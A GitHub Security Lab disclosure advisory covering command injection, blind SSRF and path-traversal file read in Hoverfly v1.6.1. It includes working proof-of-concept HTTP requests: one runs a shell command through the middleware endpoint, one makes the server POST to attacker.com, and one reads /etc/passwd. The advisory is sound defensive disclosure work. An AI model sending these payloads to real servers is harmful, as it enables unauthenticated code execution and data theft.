Coordinated Disclosure Timeline

Summary

Hoverfly is a lightweight service virtualization/API simulation/API mocking tool for developers and testers. The hoverfly server is vulnerable to command injection, server-side request forgery (SSRF) and arbitrary file read.

Product

Hoverfly

Tested Version

v1.6.1

Details

Issue 1: Command Injection in the /api/v2/hoverfly/middleware endpoint (GHSL-2023-272)

The /api/v2/hoverfly/middleware endpoint accepts PUT requests able to install middleware scripts that may execute arbitrary commands. An attacker may be able to control both the binary file name and the argument file content, enabling them to execute arbitrary commands on the target’s system.

Untrusted data enters the application in the Put handler method and flows into the SetMiddleware method which, in turn, calls the ExecuteMiddleware which, when remote request parameter is empty, will execute the provided command locally by invoking the executeMiddlewareLocally method:

func (this Middleware) executeMiddlewareLocally(pair models.RequestResponsePair) (models.RequestResponsePair, error) {
	var middlewareCommand *exec.Cmd
	if this.Script == nil {
		middlewareCommand = exec.Command(this.Binary)
	} else {
		middlewareCommand = exec.Command(this.Binary, this.Script.Name())
	}

Considering that the Hoverfly server does not enforce authentication by default, an attacker able to send a PUT request to the Hoverfly server will be able to execute arbitrary commands on the underlaying server.

This issue was found with the Command built from user-controlled sources CodeQL for python.

Proof of Concept

Send a PUT request to the /api/v2/hoverfly/middleware with any shell script to be executed. In the example below, the script will create a /tmp/pwned file in the server running Hoverfly.

PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/json
Content-Length: 55

{"binary":"sh","script":"touch /tmp/pwned","remote":""}

Impact

This issue may lead to pre-auth Remote Code Execution (RCE).

Issue 2: Blind Server-Side Request Forgery (SSRF) in the /api/v2/hoverfly/middleware endpoint (GHSL-2023-273)

Similarly, the /api/v2/hoverfly/middleware endpoint allows users to redirect the middleware script processing to a remote host by specifying an URL in the remote request property. An attacker may be able to abuse this functionality to craft POST requests to arbitrary hosts in behalf of the Hoverfly server.

# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/middleware/remote_middleware.go#L14C1-L24C82
func (this Middleware) executeMiddlewareRemotely(pair models.RequestResponsePair) (models.RequestResponsePair, error) {
	pairViewBytes, err := json.Marshal(pair.ConvertToRequestResponsePairView())

	if this.Remote == "" {
		return pair, &MiddlewareError{
			Message: "Remote middleware not set",
		}
	}

	req, err := http.NewRequest("POST", this.Remote, bytes.NewBuffer(pairViewBytes))

This issue was found using the Uncontrolled data used in network request CodeQL query for python.

Proof of Concept

Send a PUT request to the /api/v2/hoverfly/middleware with the remote property pointing to any arbitrary host.

PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/json
Content-Length: 55

{"binary":"foo","script":"bar","remote":"http://attacker.com"}

The Hoverfly server will send the following request in turn:

POST / HTTP/1.1
Host: attacker.com
User-Agent: Go-http-client/1.1
Content-Length: 245
Content-Type: application/json
Accept-Encoding: gzip

{"response":{"status":200,"body":"ok","encodedBody":false,"headers":{"test_header":["true"]}},"request":{"path":"/","method":"GET","destination":"www.test.com","scheme":"","query":"","formData":null,"body":"","headers":{"test_header":["true"]}}}

Impact

This issue allows for crafting POST requests on behalf of the Hoverfly server.

Issue 3: Arbitrary file read in the /api/v2/simulation endpoint (GHSL-2023-274)

The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.

# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186
func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {
	if filepath.IsAbs(filePath) {
		return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath)
	}

	fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
	if err != nil {
		return "", err
	}

	return string(fileContents[:]), nil
}

Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files.

This issue was found using the Uncontrolled data used in path expression CodeQL query for python.

Proof of Concept

Send the following POST request to read the /etc/passwd file:

POST /api/v2/simulation HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128

{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}

Response will contain the Hoverfly’s server /etc/passwd

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 19 Dec 2023 20:59:16 GMT
Content-Length: 1494
Connection: close

{"data":{"pairs":[{"request":{},"response":{"status":0,"body":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n","bodyFile":"../../../../../etc/passwd","encodedBody":false,"templated":false}}],"globalActions":{"delays":[],"delaysLogNormal":[]}},"meta":{"schemaVersion":"v5.2","hoverflyVersion":"v1.6.1","timeExported":"2023-12-19T20:59:16Z"}}

Impact

This issue may lead to Information Disclosure.

CVE

Credit

These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-272, GHSL-2023-273, or GHSL-2023-274 in any communication regarding these issues.